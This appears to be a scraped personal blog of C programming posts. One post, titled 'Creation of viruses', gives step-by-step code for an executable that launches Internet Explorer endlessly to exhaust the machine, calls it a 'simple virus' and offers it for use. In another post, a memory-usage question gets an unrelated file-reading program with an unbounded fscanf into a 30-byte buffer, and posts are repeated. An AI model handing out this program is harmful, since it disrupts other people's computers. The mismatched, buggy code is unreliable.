#include <stdio.h>
#include <string.h>
#define SIZE 30
int main()
{
char name[ SIZE ];
FILE *fpPtr;
if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
printf( "File could not be opened\n" );
}
else {
printf( "%s\n", "Name" );
fscanf( fpPtr, "%s", name );
while( !feof( fpPtr ) ) {
printf( "%s\n", name );
fscanf( fpPtr, "%s", name );
}
fclose( fpPtr );
}
return 0;
};
Hay friends .. AREA OF LANGUAGE IS TOO WIDE BUT NOW APPROXIMATE THEORY AND "C PROGRAMING CODES" ARE AVAILABLE . GOPAL KRISHNA "CHAUHAN"
Monday, 17 June 2013
;)
Sunday, 3 March 2013
How to print the memory usage : C Programming by "Gopal Krishna"
You want to find out how much memory is this program using .
Any code or function
i should add to find the total memory used by this program.
I don't want to check task manager for this.
I need to print the memory usage.
#include <stdio.h>
#include <string.h>
#define SIZE 30
int main()
{
char name[ SIZE ];
FILE *fpPtr;
if ( ( fpPtr = fopen( "sorted_file.txt", "r" ) ) == NULL ) {
printf( "File could not be opened\n" );
}
else {
printf( "%s\n", "Name" );
fscanf( fpPtr, "%s", name );
while( !feof( fpPtr ) ) {
printf( "%s\n", name );
fscanf( fpPtr, "%s", name );
}
fclose( fpPtr );
}
return 0;
};
Try This ..........................
C Programming By GOPAL KRISHNA
Saturday, 23 February 2013
Creation of viruses V I A C Programming .
THIS TUT. ONLY FOR STUDY PURPOSE
I SAY BEFORE , A STYLE OF TRICK ,
HOW TO SHUT DOWN THE SYSTEM IN LAST PROGRAM ....
NOW :
C program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Step 1 : write code :
#include<stdio.h>
#include<dos.h>
int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ......
(C by Gopal Krishna)
NOW :
C program such that when we will click on its .exe file then it will open internet explorer at infinite times?
Step 1 : write code :
#include<stdio.h>
#include<dos.h>
int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}
return 0;
}
Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)
This is the creation of simple virus ... which is simpal and kool WAIT FOR MORE ......
(C by Gopal Krishna)
Subscribe to:
Posts (Atom)